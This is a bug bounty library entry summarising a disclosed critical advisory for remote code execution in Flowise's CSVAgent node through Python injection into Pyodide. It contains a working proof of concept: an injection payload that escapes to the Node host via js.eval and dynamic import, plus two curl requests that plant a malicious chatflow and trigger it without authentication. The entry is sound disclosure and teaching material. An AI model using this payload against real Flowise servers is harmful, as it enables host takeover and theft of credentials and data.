# Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation

Flowise CSVAgent interpolates the csvFile data-URI base64 segment into a Python template run by Pyodide; escaping the string literal reaches js.eval and dynamic import for host RCE.

- Payout: Research
- Severity: critical
- Program: Flowise
- Found by: amwhoi
- Disclosed: 2026-08-04
- CVE: CVE-2026-69264
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-4j8x-x6v7-w9rq
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-4j8x-x6v7-w9rq
- Tags: area:ai domain:ai impact:rce kind:research platform:ghsa sev:critical tech:nodejs tech:python technique:chained technique:source-review vuln:command-injection vuln:rce

**Target:** CSVAgent node in Flowise chatflow, Pyodide Python bootstrap executed on Node.js
**Root cause:** The base64 segment of the csvFile data URI is interpolated verbatim into a Python source template executed by Pyodide, with no charset validation and no validator applied to the bootstrap template. Pyodide's default js bridge to globalThis exposes eval and dynamic import(), letting injected Python escape the WASM sandbox into the Node host.
**Steps:**
1. Plant a chatflow whose csvAgent node has `csvFile = "data:text/csv;base64,A,<comma-free python payload>,IGNORED"` via `POST /api/v1/chatflows` with a chatflows:create token.
2. Payload closes the literal with `";`, then `import js` and `await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('proof.txt'\u002c 'marker'); })()")`, then `#` comments the dangling quote.
3. Trigger unauthenticated: `POST /api/v1/prediction/<flow-uuid>` with `{"question":"go"}` (route whitelisted; no apikeyid set).
4. Observe chat panel `pandas.errors.EmptyDataError` while the proof file is written by the Node host process.
**How found:** Code reading of CSVAgent.ts data-URI parsing (two pop() calls) and the template-literal interpolation sink; noticed the two validators only cover customReadCSVFunc and LLM-emitted code, never the bootstrap template, then tested Pyodide's default js bridge on Node.
**Exploitation:** One authenticated chatflow author plants the malicious CSVAgent flow; any unauthenticated caller hitting the whitelisted prediction endpoint triggers Pyodide execution of the injected Python, which via js.eval and dynamic import('fs')/import('child_process') runs arbitrary file I/O or OS commands as the Flowise process, exposing credentials key, database and host filesystem.
**Escalation:** Sandbox escape from Pyodide WASM into the Node host process via the default js bridge, turning a template injection into full host RCE reachable unauthenticated.
**Insight:** When a value is interpolated into code run by an embedded interpreter (Pyodide, JS engines), check the interpreter's host bridge defaults: Pyodide's js module maps to globalThis on Node, so any Python string-literal breakout becomes host RCE via js.eval + dynamic import(). Also note the data-URI split(',') constraint — use \u002c escapes to smuggle commas past the JS parser into the Python lexer.

## Proof of concept (copied exactly from the original report)

**Python injection payload closing base64_string literal**

```
const pythonInjection =
    '";\n' +
    'import js\n' +
    `await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\u002c '${proofMarker}'); })()")\n` +
    '#'
```

**Data URI parser mirroring CSVAgent split/pop**

```
const csvFile = `data:text/csv;base64,A,${pythonInjection},IGNORED`

// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------
const csvFileBase64 = csvFile
const files = csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']') ? JSON.parse(csvFileBase64) : [csvFileBase64]
let base64String = ''
for (const file of files) {
    if (!file) continue
    const splitDataURI = file.split(',')
    splitDataURI.pop()
    base64String += splitDataURI.pop() ?? ''
}
```

**Two-request HTTP exploit: plant flow then trigger**

```
curl -X POST https://target/api/v1/chatflows \
  -H "Authorization: Bearer <api-key with chatflows:create>" \
  -H "Content-Type: application/json" \
  -d @evil-csvagent-flow.json
# → returns chatflow id, e.g. "<flow-uuid>"

# Step 2 — anyone, no auth (the route is whitelisted at
# packages/server/src/utils/constants.ts:12) triggers execution:
curl -X POST https://target/api/v1/prediction/<flow-uuid> \
  -H "Content-Type: application/json" \
  -d '{"question":"go"}'
```

